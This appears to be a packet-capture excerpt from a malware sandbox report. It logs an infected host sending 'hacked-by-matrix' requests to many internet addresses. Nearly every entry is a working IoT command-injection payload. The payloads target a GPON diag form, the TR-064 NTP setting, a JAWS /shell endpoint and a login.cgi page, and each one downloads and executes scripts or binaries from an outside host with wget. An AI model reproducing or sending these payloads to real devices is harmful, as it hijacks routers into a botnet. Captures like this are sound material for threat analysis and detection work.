Mar 21, 2024 05:22:14.230245113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
665	192.168.2.14	33314	2.191.198.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230272055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
666	192.168.2.14	51152	94.19.91.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230303049 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
667	192.168.2.14	34536	5.16.3.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230329990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
668	192.168.2.14	48130	118.112.158.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230355978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
669	192.168.2.14	49024	2.6.104.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230432034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
670	192.168.2.14	36742	42.73.87.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230448008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
671	192.168.2.14	57370	210.166.48.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230482101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
672	192.168.2.14	58476	94.34.161.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230495930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
673	192.168.2.14	57552	212.120.54.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230520010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
674	192.168.2.14	38328	210.30.255.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230549097 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
675	192.168.2.14	56218	37.148.143.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230724096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
676	192.168.2.14	34938	178.220.149.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230752945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
677	192.168.2.14	58596	118.0.121.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230787992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
678	192.168.2.14	54404	212.158.145.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230814934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
679	192.168.2.14	47778	37.37.173.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230849028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
680	192.168.2.14	56188	124.171.128.86	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.654618025 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:15.778100967 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:16.131119013 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 14:22:14 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
681	192.168.2.14	37880	183.47.111.90	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.687325954 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:15.046292067 CET	145	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>stgw</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
682	192.168.2.14	33978	212.45.109.9	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.814327955 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:14.997975111 CET	223	IN	HTTP/1.0 301 Moved Permanently Location: https:///login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ Connection: Keep-Alive Content-Length: 0
Mar 21, 2024 05:22:15.474787951 CET	223	IN	HTTP/1.0 301 Moved Permanently Location: https:///login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ Connection: Keep-Alive Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
683	192.168.2.14	56338	124.171.128.86	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:15.000165939 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:16.062086105 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:16.400304079 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 14:22:15 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
684	192.168.2.14	47402	23.8.213.206	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:15.373404026 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:17.022062063 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:17.344692945 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:22:17 GMT Date: Thu, 21 Mar 2024 04:22:17 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 37 64 30 38 36 61 37 63 26 23 34 36 3b 31 37 31 30 39 39 34 39 33 37 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.7d086a7c.1710994937.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
685	192.168.2.14	44740	212.225.156.57	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:15.834309101 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:16.801384926 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
